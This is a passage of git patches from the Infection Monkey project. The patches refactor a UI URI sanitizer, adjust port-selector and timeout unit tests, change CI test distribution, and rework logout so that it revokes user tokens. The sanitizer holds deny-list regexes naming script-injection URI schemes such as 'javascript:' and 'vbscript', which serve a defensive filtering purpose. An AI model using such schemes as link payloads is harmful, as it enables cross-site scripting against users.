-1,7 +1,7 @@ const REG_EXP_VALIDATORS = Object.freeze([ {expression: /[()[\]{};`'"<>]/gmi, expectedTestResult: false}, {expression: /^([^\w]*)(script|unsafe|javascript|vbscript|app|admin|icloud-sharing|icloud-vetting|help|aim|facetime-audio|applefeedback|ibooks|macappstore|udoc|ts|st|x-apple-helpbasic)/gmi, expectedTestResult: false}, - {expression: /^(?:(?:(?:f|ht)tps?):|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/gmi, expectedTestResult: true} + {expression: /^(?:(?:ht)tps?:|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/gmi, expectedTestResult: true} ]); const GENERAL_UNSAFE_STRINGS = Object.freeze(['javascript:']); From bc6cddffa3f18680881540be1fe2d5e8533ebe96 Mon Sep 17 00:00:00 2001 From: ordabach Date: Thu, 23 Mar 2023 07:19:08 +0000 Subject: [PATCH 0684/1338] UI: Added back the functionality of links to be opened in new tab --- .../cc/ui/src/components/ui-components/InfoPane.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js index 2786af59c2f..34d022c8d16 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js @@ -44,7 +44,7 @@ function getLinkButton(props) { const sanitizedLink = sanitizeURI(props.link); return ( - ) From 7c2f9a8de39eb1f54894e82ac2c68144d9716b3d Mon Sep 17 00:00:00 2001 From: ordabach Date: Thu, 23 Mar 2023 09:29:49 +0000 Subject: [PATCH 0685/1338] UI: Changed uri sanitizer file structure --- .../src/components/ui-components/InfoPane.js | 2 +- .../ui/src/utils/sanitizers/uriSanitizer.js | 27 ------------------- .../uriSanitizer/uriSanitizer.constants.js | 10 +++++++ .../sanitizers/uriSanitizer/uriSanitizer.js | 19 +++++++++++++ 4 files changed, 30 insertions(+), 28 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer.js create mode 100644 monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.constants.js create mode 100644 monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.js diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js index 34d022c8d16..b574a0f223b 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/InfoPane.js @@ -3,7 +3,7 @@ import React from 'react'; import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faQuestionCircle} from '@fortawesome/free-solid-svg-icons'; import WarningIcon from './WarningIcon'; -import {sanitizeURI} from '../../utils/sanitizers/uriSanitizer'; +import {sanitizeURI} from '../../utils/sanitizers/uriSanitizer/uriSanitizer'; const WarningType = { NONE: 0, diff --git a/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer.js b/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer.js deleted file mode 100644 index 10474891910..00000000000 --- a/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer.js +++ /dev/null @@ -1,27 +0,0 @@ -const REG_EXP_VALIDATORS = Object.freeze([ - {expression: /[()[\]{};`'"<>]/gmi, expectedTestResult: false}, - {expression: /^([^\w]*)(script|unsafe|javascript|vbscript|app|admin|icloud-sharing|icloud-vetting|help|aim|facetime-audio|applefeedback|ibooks|macappstore|udoc|ts|st|x-apple-helpbasic)/gmi, expectedTestResult: false}, - {expression: /^(?:(?:ht)tps?:|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/gmi, expectedTestResult: true} -]); - -const GENERAL_UNSAFE_STRINGS = Object.freeze(['javascript:']); - -export const sanitizeURI = (uri) => { - const EMPTY_URI = ''; - - const validators = REG_EXP_VALIDATORS; - for(let i=0; i < validators.length; i++){ - const regTest = new RegExp(validators[i].expression); - if(regTest.test(uri) !== validators[i].expectedTestResult) { - return EMPTY_URI; - } - } - - for(let i=0; i < GENERAL_UNSAFE_STRINGS.length; i++){ - if(uri.indexOf(GENERAL_UNSAFE_STRINGS[i]) !== -1){ - return EMPTY_URI; - } - } - - return uri; -} diff --git a/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.constants.js b/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.constants.js new file mode 100644 index 00000000000..3d63b440815 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.constants.js @@ -0,0 +1,10 @@ +export const REG_EXP_VALIDATORS = Object.freeze([ + {expression: /[()[\]{};`'"<>]/gmi, expectedTestResult: false}, + {expression: /^([^\w]*)(script|unsafe|javascript|vbscript|app|admin|icloud-sharing|icloud-vetting|help|aim|facetime-audio|applefeedback|ibooks|macappstore|udoc|ts|st|x-apple-helpbasic)/gmi, expectedTestResult: false}, + {expression: /^(?:(?:ht)tps?:|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/gmi, expectedTestResult: true} +]); + +export const GENERAL_UNSAFE_STRINGS = Object.freeze(['javascript:']); + + +export const EMPTY_URI = Object.freeze(''); diff --git a/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.js b/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.js new file mode 100644 index 00000000000..2b922333712 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.js @@ -0,0 +1,19 @@ +import {EMPTY_URI, GENERAL_UNSAFE_STRINGS, REG_EXP_VALIDATORS} from './uriSanitizer.constants'; + +export const sanitizeURI = (uri) => { + const validators = REG_EXP_VALIDATORS; + for(let i=0; i < validators.length; i++){ + const regTest = new RegExp(validators[i].expression); + if(regTest.test(uri) !== validators[i].expectedTestResult) { + return EMPTY_URI; + } + } + + for(let i=0; i < GENERAL_UNSAFE_STRINGS.length; i++){ + if(uri.indexOf(GENERAL_UNSAFE_STRINGS[i]) !== -1){ + return EMPTY_URI; + } + } + + return uri; +} From 12b0a98cbb3ed9dcdbc6475287d68760552970c9 Mon Sep 17 00:00:00 2001 From: ordabach Date: Thu, 23 Mar 2023 13:21:29 +0000 Subject: [PATCH 0686/1338] UI: URI sanitizer refactor --- .../uriSanitizer/uriSanitizer.constants.js | 10 --------- .../sanitizers/uriSanitizer/uriSanitizer.js | 22 +++++++++---------- 2 files changed, 11 insertions(+), 21 deletions(-) delete mode 100644 monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.constants.js diff --git a/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.constants.js b/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.constants.js deleted file mode 100644 index 3d63b440815..00000000000 --- a/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.constants.js +++ /dev/null @@ -1,10 +0,0 @@ -export const REG_EXP_VALIDATORS = Object.freeze([ - {expression: /[()[\]{};`'"<>]/gmi, expectedTestResult: false}, - {expression: /^([^\w]*)(script|unsafe|javascript|vbscript|app|admin|icloud-sharing|icloud-vetting|help|aim|facetime-audio|applefeedback|ibooks|macappstore|udoc|ts|st|x-apple-helpbasic)/gmi, expectedTestResult: false}, - {expression: /^(?:(?:ht)tps?:|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/gmi, expectedTestResult: true} -]); - -export const GENERAL_UNSAFE_STRINGS = Object.freeze(['javascript:']); - - -export const EMPTY_URI = Object.freeze(''); diff --git a/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.js b/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.js index 2b922333712..911e185e4b5 100644 --- a/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.js +++ b/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.js @@ -1,16 +1,16 @@ -import {EMPTY_URI, GENERAL_UNSAFE_STRINGS, REG_EXP_VALIDATORS} from './uriSanitizer.constants'; +const URL_REGEX_VALIDATORS = Object.freeze([ + {expression: /[()[\]{};`'"<>]/gmi, expectedTestResult: false}, + {expression: /^([^\w]*)(script|unsafe|javascript|vbscript|app|admin|icloud-sharing|icloud-vetting|help|aim|facetime-audio|applefeedback|ibooks|macappstore|udoc|ts|st|x-apple-helpbasic)/gmi, expectedTestResult: false}, + {expression: /^(?:(?:ht)tps?:|[^a-z]|[a-z+.-]+(?:[^a-z+.\-:]|$))/gmi, expectedTestResult: true}, + {expression: /(javascript:)/gmi, expectedTestResult: false} +]); -export const sanitizeURI = (uri) => { - const validators = REG_EXP_VALIDATORS; - for(let i=0; i < validators.length; i++){ - const regTest = new RegExp(validators[i].expression); - if(regTest.test(uri) !== validators[i].expectedTestResult) { - return EMPTY_URI; - } - } +const EMPTY_URI = ''; - for(let i=0; i < GENERAL_UNSAFE_STRINGS.length; i++){ - if(uri.indexOf(GENERAL_UNSAFE_STRINGS[i]) !== -1){ +export const sanitizeURI = (uri) => { + for(let i=0; i < URL_REGEX_VALIDATORS.length; i++){ + const regTest = new RegExp(URL_REGEX_VALIDATORS[i].expression); + if(regTest.test(uri) !== URL_REGEX_VALIDATORS[i].expectedTestResult) { return EMPTY_URI; } } From ae2b3f7e5993d8ca496b10685cb1e52b91a55a34 Mon Sep 17 00:00:00 2001 From: ordabach Date: Thu, 23 Mar 2023 13:50:05 +0000 Subject: [PATCH 0687/1338] UI: Deletion of the regex object creation on the fly --- .../cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.js b/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.js index 911e185e4b5..d27f9442ac9 100644 --- a/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.js +++ b/monkey/monkey_island/cc/ui/src/utils/sanitizers/uriSanitizer/uriSanitizer.js @@ -9,8 +9,8 @@ const EMPTY_URI = ''; export const sanitizeURI = (uri) => { for(let i=0; i < URL_REGEX_VALIDATORS.length; i++){ - const regTest = new RegExp(URL_REGEX_VALIDATORS[i].expression); - if(regTest.test(uri) !== URL_REGEX_VALIDATORS[i].expectedTestResult) { + if(URL_REGEX_VALIDATORS[i].expression.test(uri) !== URL_REGEX_VALIDATORS[i].expectedTestResult) { + console.log(`Suspicious URI was detected and deleted: "${uri}"`) return EMPTY_URI; } } From 9a86529bfe0824630f600bc219a56aaa0b9e62b9 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 23 Mar 2023 14:41:18 +0100 Subject: [PATCH 0688/1338] UT: Choose only RANDOM_PORTS_NUMBER in testing common ports Issue: #3096 PR: #3141 --- .../infection_monkey/network/test_info.py | 19 ++++++++++++------- 1 file changed, 12 insertions(+), 7 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/network/test_info.py b/monkey/tests/unit_tests/infection_monkey/network/test_info.py index 62ed5acd9af..4f9a99e47d1 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/test_info.py +++ b/monkey/tests/unit_tests/infection_monkey/network/test_info.py @@ -1,6 +1,7 @@ from dataclasses import dataclass from multiprocessing import Queue, get_context from multiprocessing.context import BaseContext +from random import SystemRandom from time import sleep from typing import Tuple @@ -10,6 +11,7 @@ from infection_monkey.network.ports import COMMON_PORTS MULTIPROCESSING_PORT = 2222 +RANDOM_PORTS_NUMBER = 3 @dataclass @@ -28,16 +30,18 @@ def tcp_port_selector(context) -> TCPPortSelector: return TCPPortSelector(context, manager) -@pytest.mark.parametrize("port", COMMON_PORTS) +@pytest.mark.slow +@pytest.mark.parametrize("number_of_runs", range(RANDOM_PORTS_NUMBER)) def test_tcp_port_selector__checks_common_ports( - tcp_port_selector: TCPPortSelector, port: int, monkeypatch + tcp_port_selector: TCPPortSelector, number_of_runs: int, monkeypatch ): - unavailable_ports = [Connection(("", p)) for p in COMMON_PORTS if p is not port] + common_port = SystemRandom().choice(COMMON_PORTS) + unavailable_ports = [Connection(("", p)) for p in COMMON_PORTS if p is not common_port] monkeypatch.setattr( "infection_monkey.network.info.psutil.net_connections", lambda: unavailable_ports ) - assert tcp_port_selector.get_free_tcp_port() is port + assert tcp_port_selector.get_free_tcp_port() is common_port def test_tcp_port_selector__checks_other_ports_if_common_ports_unavailable( @@ -62,10 +66,12 @@ def test_tcp_port_selector__none_if_no_available_ports( assert tcp_port_selector.get_free_tcp_port() is None -@pytest.mark.parametrize("common_port", COMMON_PORTS) +@pytest.mark.slow +@pytest.mark.parametrize("number_of_runs", range(RANDOM_PORTS_NUMBER)) def test_tcp_port_selector__checks_common_ports_leases( - tcp_port_selector: TCPPortSelector, common_port: int, monkeypatch + tcp_port_selector: TCPPortSelector, number_of_runs: int, monkeypatch ): + common_port = SystemRandom().choice(COMMON_PORTS) unavailable_ports = [Connection(("", p)) for p in COMMON_PORTS if p is not common_port] monkeypatch.setattr( "infection_monkey.network.info.psutil.net_connections", lambda: unavailable_ports @@ -101,7 +107,6 @@ def get_multiprocessing_tcp_port( def test_tcp_port_selector__uses_multiprocess_leases_same_random_port( tcp_port_selector: TCPPortSelector, context: BaseContext, monkeypatch ): - queue = context.Queue() p1 = context.Process( From 74212e0f4da4ac397743caac1b16667a37626d0d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 23 Mar 2023 16:46:42 +0200 Subject: [PATCH 0689/1338] UT: Increase the timeout for aws unit tests time.sleep precision depends on the underlying OS, so we don't have fine control over it. Issue: #3096 PR: #3142 --- .../monkey_island/cc/services/aws/test_aws_command_runner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/aws/test_aws_command_runner.py b/monkey/tests/unit_tests/monkey_island/cc/services/aws/test_aws_command_runner.py index 83c9d2dde8c..5186a97fe55 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/aws/test_aws_command_runner.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/aws/test_aws_command_runner.py @@ -11,7 +11,7 @@ start_infection_monkey_agent, ) -TIMEOUT = 0.03 +TIMEOUT = 0.1 INSTANCE_ID = "BEEFFACE" ISLAND_IP = "127.0.0.1" From 83557c9fef149f3e07295f57a570d2a51da7b099 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 23 Mar 2023 11:39:34 -0400 Subject: [PATCH 0690/1338] Project: Use worksteal instead of loadscope for running pytests --- .travis.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.travis.yml b/.travis.yml index 6e0ba5f1548..64dad785821 100644 --- a/.travis.yml +++ b/.travis.yml @@ -76,7 +76,7 @@ jobs: ## run unit tests and generate coverage data - cd monkey # this is our source dir - pip install pytest-xdist - - python -m pytest -n auto --dist loadscope --cov=. # have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. + - python -m pytest -n auto --dist worksteal --cov=. # have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path. # check js code. the npm install must happen after the flake8 because the node_modules folder will cause a lot of errors. - cd monkey_island/cc/ui @@ -126,7 +126,7 @@ jobs: ## run unit tests and generate coverage data - cd monkey # this is our source dir - pip install pytest-xdist - - python -m pytest -n auto --dist loadscope + - python -m pytest -n auto --dist worksteal notifications: From e6dd863ecfa5258e1edc84904be6fea0d4f739a8 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 24 Mar 2023 17:28:57 +0200 Subject: [PATCH 0691/1338] UT: Adjust timeouts in test_relay_users_time_out Timeouts had too small of a difference and it sometimes causes the test to fail Issue: #3096 --- .../infection_monkey/network/relay/test_relay_user_handler.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/network/relay/test_relay_user_handler.py b/monkey/tests/unit_tests/infection_monkey/network/relay/test_relay_user_handler.py index 13c6d859183..d8f65ca0204 100644 --- a/monkey/tests/unit_tests/infection_monkey/network/relay/test_relay_user_handler.py +++ b/monkey/tests/unit_tests/infection_monkey/network/relay/test_relay_user_handler.py @@ -42,9 +42,9 @@ def test_relay_users_added(handler): def test_relay_users_time_out(): - handler = RelayUserHandler(client_disconnect_timeout=0.001) + handler = RelayUserHandler(client_disconnect_timeout=0.0001) handler.add_relay_user(USER_ADDRESS) - sleep(0.01) + sleep(0.02) assert not handler.has_connected_users() From d581c4b2ef80d6e8802a0612f7ed128b434854c0 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 24 Mar 2023 15:33:17 +0200 Subject: [PATCH 0692/1338] Island: Don't lock the encryptor on user logout If the encryptor is locked on logout it means agents will fail as soon as user logs out --- .../authentication_service/authentication_facade.py | 6 ------ .../authentication_service/flask_resources/logout.py | 3 --- .../flask_resources/test_logout.py | 2 -- .../test_authentication_service.py | 9 --------- 4 files changed, 20 deletions(-) diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 2c07aecaa2d..684208724a3 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -52,12 +52,6 @@ def _unlock_repository_encryptor(self, username: str, password: str): secret = _get_secret_from_credentials(username, password) self._repository_encryptor.unlock(secret.encode()) - def handle_successful_logout(self): - self._lock_repository_encryptor() - - def _lock_repository_encryptor(self): - self._repository_encryptor.lock() - def _get_secret_from_credentials(username: str, password: str) -> str: return f"{username}:{password}" diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py index 10339c4cc20..7cc4ba55e3c 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py @@ -1,5 +1,4 @@ import logging -from http import HTTPStatus from flask import Response, make_response from flask.typing import ResponseValue @@ -30,7 +29,5 @@ def post(self): if not isinstance(response, Response): return responses.make_response_to_invalid_request() - if response.status_code == HTTPStatus.OK: - self._authentication_facade.handle_successful_logout() return make_response(response) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_logout.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_logout.py index 36c9fe13ad9..c92bb621d7f 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_logout.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/flask_resources/test_logout.py @@ -45,7 +45,6 @@ def test_logout_failed( monkeypatch.setattr(FLASK_LOGOUT_IMPORT, lambda: logout_response) response = make_logout_request(TEST_REQUEST) - mock_authentication_facade.handle_successful_logout.assert_not_called() assert response.status_code == HTTPStatus.BAD_REQUEST @@ -62,4 +61,3 @@ def test_logout_successful( response = make_logout_request("") assert response.status_code == HTTPStatus.OK - mock_authentication_facade.handle_successful_logout.assert_called_once() diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 16e584ef96d..78dc72be054 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -72,15 +72,6 @@ def test_handle_successful_registration( ) -def test_handle_sucessful_logout( - mock_repository_encryptor: ILockableEncryptor, - authentication_facade: AuthenticationFacade, -): - authentication_facade.handle_successful_logout() - - mock_repository_encryptor.lock.assert_called_once() - - def test_handle_sucessful_login( mock_repository_encryptor: ILockableEncryptor, authentication_facade: AuthenticationFacade, From dc5e39771b3b1112bdbd55d3ade63a5de711e80f Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 24 Mar 2023 15:48:14 +0200 Subject: [PATCH 0693/1338] Island: Revoke all user tokens on logout --- monkey/monkey_island/cc/app.py | 15 ++++----------- monkey/monkey_island/cc/services/__init__.py | 3 --- .../authentication_facade.py | 10 ++++++++++ .../configure_flask_security.py | 12 ++++++++++-- .../flask_resources/logout.py | 2 ++ .../flask_resources/register_resources.py | 13 +++++++++++-- .../test_authentication_service.py | 10 +++++++++- 7 files changed, 46 insertions(+), 19 deletions(-) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 3054e471289..308204d94db 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -34,11 +34,7 @@ from monkey_island.cc.resources.security_report import SecurityReport from monkey_island.cc.resources.version import Version from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH -from monkey_island.cc.services import ( - register_agent_configuration_resources, - register_authentication_resources, - setup_authentication, -) +from monkey_island.cc.services import register_agent_configuration_resources, setup_authentication from monkey_island.cc.services.representations import output_json HOME_FILE = "index.html" @@ -67,15 +63,13 @@ def serve_home(): return serve_static_file(HOME_FILE) -def init_app_config(app, data_dir: Path): +def init_app_config(app): # By default, Flask sorts keys of JSON objects alphabetically. # See https://flask.palletsprojects.com/en/1.1.x/config/#JSON_SORT_KEYS. app.config["JSON_SORT_KEYS"] = False app.url_map.strict_slashes = False - setup_authentication(app, data_dir) - def init_app_url_rules(app): app.add_url_rule("/", "serve_home", serve_home) @@ -143,12 +137,11 @@ def init_app( api = flask_restful.Api(app) api.representations = {"application/json": output_json} - init_app_config(app, data_dir) + init_app_config(app) init_app_url_rules(app) - register_authentication_resources(api, container) - flask_resource_manager = FlaskDIWrapper(api, container) + setup_authentication(app, api, data_dir, container) init_api_resources(flask_resource_manager) return app diff --git a/monkey/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py index e446a8b87e7..7cc81283fe4 100644 --- a/monkey/monkey_island/cc/services/__init__.py +++ b/monkey/monkey_island/cc/services/__init__.py @@ -2,9 +2,6 @@ from .aws import AWSService -from .authentication_service import ( - register_resources as register_authentication_resources, -) # noqa: E501 from .authentication_service import setup_authentication from .agent_configuration_service import ( diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index 684208724a3..eba1fe8975b 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -1,3 +1,5 @@ +from flask_security import MongoEngineUserDatastore + from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode from monkey_island.cc.server_utils.encryption import ILockableEncryptor @@ -14,9 +16,11 @@ def __init__( self, repository_encryptor: ILockableEncryptor, island_event_queue: IIslandEventQueue, + user_datastore: MongoEngineUserDatastore, ): self._repository_encryptor = repository_encryptor self._island_event_queue = island_event_queue + self._datastore = user_datastore def needs_registration(self) -> bool: """ @@ -26,6 +30,12 @@ def needs_registration(self) -> bool: """ return not User.objects.first() + def revoke_all_user_tokens(self, user: User): + """ + Revokes all tokens for a specific user + """ + self._datastore.set_uniquifier(user) + def handle_successful_registration(self, username: str, password: str): self._reset_island_data() self._reset_repository_encryptor(username, password) diff --git a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py index ddbec114a9b..410fd937ab2 100644 --- a/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py +++ b/monkey/monkey_island/cc/services/authentication_service/configure_flask_security.py @@ -8,10 +8,11 @@ from flask_security import ConfirmRegisterForm, MongoEngineUserDatastore, Security, UserDatastore from wtforms import StringField +from common import DIContainer from common.utils.file_utils import open_new_securely_permissioned_file from monkey_island.cc.mongo_consts import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT, MONGO_URL -from . import AccountRole +from . import AccountRole, register_resources from .role import Role from .user import User @@ -19,7 +20,12 @@ AUTH_EXPIRATION_TIME = 30 * 60 # 30 minutes authentication token expiration time -def setup_authentication(app, data_dir: Path): +def setup_authentication(app, api, data_dir: Path, container: DIContainer): + datastore = _configure_flask_security(app, data_dir) + register_resources(api, container, datastore) + + +def _configure_flask_security(app, data_dir: Path) -> MongoEngineUserDatastore: _setup_flask_mongo(app) flask_security_config = _generate_flask_security_configuration(data_dir) @@ -68,6 +74,8 @@ def to_dict(self, only_user): app.session_interface = _disable_session_cookies() + return user_datastore + def _setup_flask_mongo(app): app.config["MONGO_URI"] = MONGO_URL diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py index 7cc4ba55e3c..ad06718cbbd 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/logout.py @@ -2,6 +2,7 @@ from flask import Response, make_response from flask.typing import ResponseValue +from flask_login import current_user from flask_security.views import logout from monkey_island.cc.flask_utils import AbstractResource, responses @@ -23,6 +24,7 @@ def __init__(self, authentication_facade: AuthenticationFacade): def post(self): try: + self._authentication_facade.revoke_all_user_tokens(current_user) response: ResponseValue = logout() except Exception: return responses.make_response_to_invalid_request() diff --git a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py index edfe596550b..a244c198b1e 100644 --- a/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py +++ b/monkey/monkey_island/cc/services/authentication_service/flask_resources/register_resources.py @@ -1,6 +1,9 @@ import flask_restful +from flask_security import MongoEngineUserDatastore from common import DIContainer +from monkey_island.cc.event_queue import IIslandEventQueue +from monkey_island.cc.server_utils.encryption import ILockableEncryptor from ..authentication_facade import AuthenticationFacade from .agent_otp import AgentOTP @@ -11,8 +14,14 @@ from .registration_status import RegistrationStatus -def register_resources(api: flask_restful.Api, container: DIContainer): - authentication_facade = container.resolve(AuthenticationFacade) +def register_resources( + api: flask_restful.Api, container: DIContainer, user_datastore: MongoEngineUserDatastore +): + repository_encryptor = container.resolve(ILockableEncryptor) + island_event_queue = container.resolve(IIslandEventQueue) + authentication_facade = AuthenticationFacade( + repository_encryptor, island_event_queue, user_datastore + ) api.add_resource(Register, *Register.urls, resource_class_args=(authentication_facade,)) api.add_resource( diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py index 78dc72be054..c1ec0ba9901 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/authentication_service/test_authentication_service.py @@ -1,6 +1,7 @@ from unittest.mock import MagicMock, call import pytest +from flask_security import MongoEngineUserDatastore from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode @@ -30,13 +31,20 @@ def mock_island_event_queue(autouse=True) -> IIslandEventQueue: return MagicMock(spec=IIslandEventQueue) +@pytest.fixture +def mock_user_datastore(autouse=True) -> MongoEngineUserDatastore: + return MagicMock(spec=MongoEngineUserDatastore) + + @pytest.fixture def authentication_facade( mock_flask_app, mock_repository_encryptor: ILockableEncryptor, mock_island_event_queue: IIslandEventQueue, ) -> AuthenticationFacade: - return AuthenticationFacade(mock_repository_encryptor, mock_island_event_queue) + return AuthenticationFacade( + mock_repository_encryptor, mock_island_event_queue, mock_user_datastore + ) def test_needs_registration__true(authentication_facade: AuthenticationFacade): From 546478811b8654cd452ebb42ffc194bbfb7bf8b4 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 24 Mar 2023 17:12:20 +0200 Subject: [PATCH 0694/1338] Island: Improve the setup code for authentication service --- .../authentication_service/__init__.py | 2 +- .../authentication_facade.py | 4 ++-- .../configure_flask_security.py | 10 ++------ .../flask_resources/register_resources.py | 15 +----------- .../services/authentication_service/setup.py | 23 +++++++++++++++++++ .../test_authentication_service.py | 6 ++--- 6 files changed, 32 insertions(+), 28 deletions(-) create mode 100644 monkey/monkey_island/cc/services/authentication_service/setup.py diff --git a/monkey/monkey_island/cc/services/authentication_service/__init__.py b/monkey/monkey_island/cc/services/authentication_service/__init__.py index 309aa8d2704..586049312fd 100644 --- a/monkey/monkey_island/cc/services/authentication_service/__init__.py +++ b/monkey/monkey_island/cc/services/authentication_service/__init__.py @@ -1,4 +1,4 @@ from .account_role import AccountRole from .flask_resources import register_resources -from .configure_flask_security import setup_authentication +from .setup import setup_authentication diff --git a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py index eba1fe8975b..7f2bdae8dbe 100644 --- a/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py +++ b/monkey/monkey_island/cc/services/authentication_service/authentication_facade.py @@ -1,4 +1,4 @@ -from flask_security import MongoEngineUserDatastore +from flask_security import UserDatastore from monkey_island.cc.event_queue import IIslandEventQueue, IslandEventTopic from monkey_island.cc.models import IslandMode @@ -16,7 +16,7 @@ def __init__( self, repository_encryptor: ILockableEncryptor, island_event_queue: IIslandEventQueue, - user_datastore: MongoEngineUserDatastore, + user_datastore: 